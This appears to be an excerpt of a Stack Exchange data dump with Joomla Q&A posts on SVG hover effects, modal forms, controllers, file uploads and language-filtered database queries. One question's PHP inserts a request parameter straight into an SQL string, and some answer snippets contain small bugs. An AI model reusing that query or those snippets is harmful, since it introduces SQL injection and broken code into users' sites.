BY-SA 3.0" />
  <row Id="10277" PostTypeId="2" ParentId="10270" CreationDate="2015-06-03T07:55:02.933" Score="6" Body="&lt;p&gt;Joomla got rid of the DS constant with Joomla 3. It's no longer needed in most cases since PHP works fine with a forward slash even on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So don't use it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-03T07:55:02.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10278" PostTypeId="1" CreationDate="2015-06-03T10:45:19.223" Score="2" ViewCount="900" Body="&lt;p&gt;I have &lt;strong&gt;social icons&lt;/strong&gt; in the &lt;strong&gt;Footer&lt;/strong&gt; of my site and those &lt;strong&gt;images are in svg format&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;I need to change my images on hovering&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have applied the following jquery, which &lt;strong&gt;works fine on the home page&lt;/strong&gt;. But &lt;strong&gt;it doesn't works on the menu's that has Menu Type as &lt;em&gt;Single Article&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jquery is and I've placed it in my template's index file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; jQuery(document).ready(function ($) {&#xA;      var sourcehover = function () {&#xA;        var $this = jQuery(this);&#xA;        var hoverimg = $this.data('alt-src');&#xA;        $this.data('alt-src', $this.attr('src'));&#xA;        $this.attr('src', hoverimg);&#xA;    };&#xA;    jQuery(function() {&#xA;        jQuery('img[data-alt-src]').each(function() { &#xA;            new Image().src = jQuery(this).data('alt-src'); &#xA;        }).hover(sourcehover); &#xA;    });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The html for the footer icons is here :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;social clearfix&quot;&amp;gt; &#xA;      &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;         &amp;lt;img src=&quot;images/social-icons/fb.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/fb_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;images/google-plus.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/googleplus_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;images/youtube.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/youtube_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;images/pinterest.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/pinterest_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;images/instagram.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/instagram_hover.svg&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;images/twitter.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/twitter_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&#xA;  &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;images/linkedin.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/linkedin_hover.svg&quot; /&amp;gt;&#xA;     &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-07-06T13:33:14.283" Title="Hover effect on svg image doesn't works on pages linked with Single Articles" Tags="|joomla-3.x|php|jquery|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10279" PostTypeId="2" ParentId="10278" CreationDate="2015-06-03T11:02:11.097" Score="1" Body="&lt;p&gt;I've made a few changes to your code. The main one being using &lt;code&gt;JUri::root&lt;/code&gt; as the root of your path&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;social clearfix&quot;&amp;gt; &#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/social-icons/fb.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/fb_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/google-plus.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/googleplus_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/youtube.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/youtube_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/pinterest.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/pinterest_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/instagram.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/instagram_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/twitter.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/twitter_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo JUri::root(); ?&amp;gt;images/linkedin.svg&quot; alt=&quot;&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;images/social-icons/linkedin_hover.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        var sourcehover = function() {&#xA;            var $this = $(this);&#xA;            var hoverimg = $this.data('alt-src');&#xA;            $this.data('alt-src', $this.attr('src'));&#xA;            $this.attr('src', hoverimg);&#xA;        };&#xA;        $(function() {&#xA;            $('img[data-alt-src]').each(function() { &#xA;                new Image().src = '&amp;lt;?php echo JUri::root(); ?&amp;gt;' + $(this).data('alt-src'); &#xA;            }).hover(sourcehover); &#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-03T11:02:11.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10281" PostTypeId="2" ParentId="10264" CreationDate="2015-06-03T15:19:02.820" Score="1" Body="&lt;p&gt;Yes, it looks like there is a small bug in Joomla. &#xA;You should not be offered any 'Menu Item Aliases' in &lt;code&gt;Menu Item&lt;/code&gt; drop-down box when &lt;code&gt;Menu item type&lt;/code&gt; is 'Menu Item Alias'.&#xA;It is not exactly bug, but something which could cause inconvenience.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-06-03T15:19:02.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10282" PostTypeId="1" CreationDate="2015-06-03T16:27:38.653" Score="0" ViewCount="810" Body="&lt;p&gt;I'm trying to select data from content table in Joomla (3.4) filtered by language field. When I pass a value, it doesn't change in the SQL statement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function articlesar()&#xA;{&#xA;    $language = JRequest::getString('language', 'en-GB');&#xA;    $return_arr = array();&#xA;&#xA;    $query= &quot;SELECT id, title, introtext, created, images,language FROM `#__content` WHERE  language='$language' &quot;;&#xA;&#xA;    $db = &amp;amp;JFactory::getDBO(); &#xA;    $db-&amp;gt;setQuery($query);&#xA;    $row = $db-&amp;gt;loadRowList();&#xA;&#xA;    foreach($row as $val) &#xA;    {&#xA;        $row_array['article_id'] = $val[0];&#xA;        $row_array['title'] = $val[1];&#xA;        $row_array['introtext'] = $val[2];&#xA;        $row_array['created'] = $val[3];&#xA;        $row_array['image'] = $val[4];&#xA;        $row_array['language'] = $val[5];&#xA;&#xA;        array_push($return_arr,$row_array);&#xA;    }&#xA;&#xA;    header('Content-Type: application/json');&#xA;    echo json_encode($return_arr);&#xA;    jexit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5368" LastEditorUserId="126" LastEditDate="2015-06-06T18:14:16.033" LastActivityDate="2015-06-06T18:14:16.033" Title="Get current language and DB Query to select content by language" Tags="|joomla-api|joomla-3.4|sql|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10284" PostTypeId="2" ParentId="10278" CreationDate="2015-06-03T17:57:34.483" Score="2" Body="&lt;p&gt;Can you make it using css? &lt;code&gt;a:hover { ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you prefer JQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;social clearfix&quot;&amp;gt; &#xA;      &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot;&amp;gt;&#xA;         &amp;lt;img src=&quot;/images/social-icons/f1.svg&quot; alt=&quot;always_add_alt_except_for_decoration_purposes&quot; width=&quot;32&quot; height=&quot;32&quot; data-alt-src=&quot;/images/social-icons/f2.svg&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JS code is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is working perfectly well even with single article view. It is possible your troubles to be linked with localhost server. &lt;code&gt;images&lt;/code&gt; is the standard Joomla folder.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2015-06-04T13:34:25.320" LastActivityDate="2015-06-04T13:34:25.320" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10285" PostTypeId="2" ParentId="10278" CreationDate="2015-06-03T21:19:14.920" Score="1" Body="&lt;p&gt;You can also get the same effect using pure CSS. Take a look at this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;social clearfix&quot;&amp;gt; &#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;facebook&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;googleplus&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;youtube&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;pinterest&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;instagram&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;twitter&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;a href=&quot;#&quot; target=&quot;_blank&quot; class=&quot;linkedin&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.social a {&#xA;    margin: 10px;&#xA;    width: 32px;&#xA;    height:32px;&#xA;    display:block;&#xA;    float:left;&#xA;}&#xA;.social a.facebook{background-image:url('path/to/fb.svg');}&#xA;.social a.facebook:hover{background-image:url('path/to/fb_hover.svg');}&#xA;&#xA;.social a.googleplus{background-image:url('path/to/googleplus.svg');}&#xA;.social a.googleplus:hover{background-image:url('path/to/googleplus_hover.svg');}&#xA;&#xA;.social a.youtube{background-image:url('path/to/youtube.svg');}&#xA;.social a.youtube:hover{background-image:url('path/to/youtube_hover.svg');}&#xA;&#xA;.social a.pinterest{background-image:url('path/to/pinterest.svg');}&#xA;.social a.pinterest:hover{background-image:url('path/to/pinterest_hover.svg');}&#xA;&#xA;.social a.instagram{background-image:url('path/to/instagram.svg');}&#xA;.social a.instagram:hover{background-image:url('path/to/instagram_hover.svg');}&#xA;&#xA;.social a.twitter{background-image:url('path/to/twitter.svg');}&#xA;.social a.twitter:hover{background-image:url('path/to/twitter_hover.svg');}&#xA;&#xA;.social a.linkedin{background-image:url('path/to/linkedin.svg');}&#xA;.social a.linkedin:hover{background-image:url('path/to/linkedin_hover.svg');}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should work, as long as you add the correct path to your images (replace &lt;code&gt;path/to/&lt;/code&gt; with the actual path &lt;em&gt;relative&lt;/em&gt; to your css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's a quick &lt;a href=&quot;https://jsfiddle.net/06Lr9L3m/&quot; rel=&quot;nofollow&quot;&gt;jsfiddle&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-06-04T14:40:01.240" LastActivityDate="2015-06-04T14:40:01.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10286" PostTypeId="2" ParentId="10200" CreationDate="2015-06-04T01:24:21.277" Score="9" Body="&lt;p&gt;I think you're confusing the purpose of your main / master controller (&lt;code&gt;controller.php&lt;/code&gt;) and subcontrollers (everything in the &lt;code&gt;/controllers&lt;/code&gt; folder). For more on this, see &lt;a href=&quot;https://docs.joomla.org/JController_and_its_subclass_usage_overview&quot; rel=&quot;noreferrer&quot;&gt;the docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main controller is typically used to do what you mention in your comment (render a view based on the &lt;code&gt;view&lt;/code&gt; parameter, usually specified in the URL). In &lt;code&gt;controller.php&lt;/code&gt;, the function that does this is called &lt;code&gt;display()&lt;/code&gt;. So the following URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?option=com_mycomponent&amp;amp;view=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will result in calling the &lt;code&gt;display()&lt;/code&gt; function in &lt;code&gt;controller.php&lt;/code&gt; and loads the view &lt;code&gt;test&lt;/code&gt; in &lt;code&gt;/views/test&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subcontrollers, in the &lt;code&gt;controllers&lt;/code&gt; folder, are generally used for CRUD tasks, but can be called easily by using a &lt;code&gt;task&lt;/code&gt; URL parameter. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/index.php?option=com_mycomponent&amp;amp;task=test.process&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will result in calling the &lt;code&gt;process()&lt;/code&gt; function in &lt;code&gt;/controllers/test.php&lt;/code&gt; - notice the &lt;code&gt;task&lt;/code&gt; parameter is &lt;code&gt;&amp;lt;controllerName&amp;gt;.&amp;lt;functionName&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see this used a lot to do actions that don't need a view, e.g in &lt;code&gt;com_content&lt;/code&gt; to publish / checkin / checkout / delete articles (where the &lt;code&gt;task&lt;/code&gt; is &lt;code&gt;article.publish&lt;/code&gt; etc.,which means the controller at &lt;code&gt;controllers/article.php&lt;/code&gt; and the function &lt;code&gt;publish()&lt;/code&gt;, and instead of a dedicated view the controller just redirects back to the list view).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on how all the Joomla MVC parts fit together, see &lt;a href=&quot;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&quot; rel=&quot;noreferrer&quot;&gt;this wiki article&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-06-04T01:24:21.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10287" PostTypeId="1" AcceptedAnswerId="10314" CreationDate="2015-06-04T02:37:37.270" Score="2" ViewCount="2286" Body="&lt;p&gt;I want to create a modal form, but I don't know what the right way is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#mod_f_a&quot; role=&quot;button&quot; class=&quot;btn&quot; data-toggle=&quot;modal&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_SMART_NEW_A') ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;modal hide fade&quot; tabindex=&quot;-1&quot; role=&quot;dialog&quot; aria-labelledby=&quot;mod_f_a&quot; aria-hidden=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;form class=&quot;form-horizontal&quot; name=&quot;form_a&quot; id=&quot;form_a&quot; method=&quot;post&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_smart' ); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;            some header&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;            some form fields&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;            &amp;lt;button class=&quot;btn&quot; data-dismiss=&quot;modal&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_SMART_CLOSE') ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;            &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_SMART_SAVE') ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that here I'm using &lt;code&gt;class=&quot;model-footer&quot;&lt;/code&gt;, instead of the usual &lt;code&gt;class=&quot;form-actions&quot;&lt;/code&gt;. What I don't like about this approach is that there is an annoying white gap in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8lrsP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can make it look like a regular modal window without having to change the css?&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-06-05T12:35:47.607" Title="Right way to make a modal form" Tags="|joomla-3.x|css|bootstrap|twitter-bootstrap-2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10288" PostTypeId="2" ParentId="10287" CreationDate="2015-06-04T05:40:53.257" Score="1" Body="&lt;p&gt;Even though I recommend updating to bootstrap-3, there are several examples on how to do a simple modal in bootstrap-2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/9RcDN/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/9RcDN/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a fiddle of a modal with different examples on what to do in the modal. You can base your modal off of it, and then decide how you want to structure and design your modal.&lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-04T05:40:53.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10291" PostTypeId="2" ParentId="10282" CreationDate="2015-06-04T07:42:39.943" Score="1" Body="&lt;p&gt;As already mentioned in the comments, you use use &lt;code&gt;JInput&lt;/code&gt; instead of &lt;code&gt;JRequest&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$language = $jinput-&amp;gt;get('language, 'en-GB');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However that isn't the issue you see. The issue is more that you don't pass the language parameter in the URL (using &lt;strong&gt;&lt;em&gt;&amp;amp;language=de-DE&lt;/em&gt;&lt;/strong&gt; for example).&#xA;Now if you instead want to have the language that is currently active on the site, you could use &lt;code&gt;$language = JFactory::getLanguage()-&amp;gt;getTag();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look into &lt;code&gt;$db-&amp;gt;loadAssocList()&lt;/code&gt; instead of &lt;code&gt;$db-&amp;gt;loadRowList()&lt;/code&gt;, which should give you directly an associative array.&#xA;See &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt; for more details&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="168" LastEditDate="2015-06-04T08:13:59.403" LastActivityDate="2015-06-04T08:13:59.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10292" PostTypeId="2" ParentId="10282" CreationDate="2015-06-04T08:22:03.883" Score="1" Body="&lt;p&gt;I've run into a few issues with queries not working when values aren't escaped, so I'd recommend using the up to date coding standards for your database query. In addition to this, ensure you don't use JRequest as it's deprecated and will soon be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function articlesar()&#xA;{&#xA;    $language = JFactory::getLanguage()-&amp;gt;getTag();&#xA;    $db       = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);    &#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'title', 'introtext', 'created', 'images', 'language')))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__content'))&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('language') . ' = '. $db-&amp;gt;quote($language));    &#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $row = $db-&amp;gt;loadAssocList();&#xA;&#xA;    $return_arr = array();&#xA;&#xA;    foreach($row as $val) &#xA;    {&#xA;        $row_array['article_id']    = $val[0];&#xA;        $row_array['title']         = $val[1];&#xA;        $row_array['introtext']     = $val[2];&#xA;        $row_array['created']       = $val[3];&#xA;        $row_array['image']         = $val[4];&#xA;        $row_array['language']      = $val[5];&#xA;&#xA;        array_push($return_arr, $row_array);&#xA;    }&#xA;&#xA;    header('Content-Type: application/json');&#xA;    echo json_encode($return_arr);&#xA;    jexit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-04T08:22:03.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10294" PostTypeId="2" ParentId="10174" CreationDate="2015-06-04T11:05:30.460" Score="1" Body="&lt;p&gt;I did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue: xml name should be iqual to database table name. SO I rename to &lt;strong&gt;mytable.xml&lt;/strong&gt; and it worked perfectly&lt;/p&gt;&#xA;" OwnerUserId="5333" LastActivityDate="2015-06-04T11:05:30.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10295" PostTypeId="1" CreationDate="2015-06-04T11:15:42.780" Score="-1" ViewCount="563" Body="&lt;p&gt;By default when I type in sitename/blog I get all the articles with the category of blog. I would like to be able to filter this list by the tags associated with each blog item but I cannot find how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see how I can use modules to display but i want the actual component to be filtered. Could someone please tell me how this can be achieved?&lt;/p&gt;&#xA;" OwnerUserId="5373" LastEditorUserId="3650" LastEditDate="2016-03-08T00:55:40.453" LastActivityDate="2016-03-08T00:55:40.453" Title="How can I filter my blog list" Tags="|joomla-3.x|tags|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10296" PostTypeId="1" AcceptedAnswerId="10305" CreationDate="2015-06-04T11:34:04.633" Score="5" ViewCount="732" Body="&lt;p&gt;I am trying to upload a word file into media manager: the file name is in unicode (in  Russian) - &lt;code&gt;файл_для_загрузки.docx&lt;/code&gt; . After upload the file automatically is being renamed to &lt;code&gt;__.docx&lt;/code&gt;. How to disable this ? I want for the file to be uploaded without renaming. I am unable to rename it after upload either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5374" LastActivityDate="2015-06-04T19:38:49.997" Title="File upload with unicode filename" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10297" PostTypeId="1" CreationDate="2015-06-04T11:39:13.347" Score="0" ViewCount="81" Body="&lt;p&gt;I'm creating my own shopping cart component and I can't choose what way of storing products and categories would be the best. There are the following few options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; A fully independent component with its own table for products and separate table for categories (as Virtuemart does)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; A component with its own table for products but with binding them to Joomla Categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; A component using Joomla Categories and Joomla Articles as products (as J2Store does, see &lt;a href=&quot;http://www.marketingportland.com/marketing/joomla-articles/234-j2store-solves-age-old-issue-of-cms-based-ecommerce&quot; rel=&quot;nofollow noreferrer&quot;&gt;the link&lt;/a&gt; about benefits)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; A fully independent component with one common table for products and categories and another table for relations between them (as I described by &lt;a href=&quot;https://joomla.stackexchange.com/questions/9450/how-about-storing-single-records-and-their-categories-in-one-table#comment13975_9454&quot;&gt;the link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is some else way. What way would be the best from the standpoints of simplicity in developing and integrating, speed of working especially if there will be thousands of products etc. Please explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-06-04T13:17:20.620" Title="The best way of storing products and categories in own component" Tags="|component|development|joomla-api|database|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
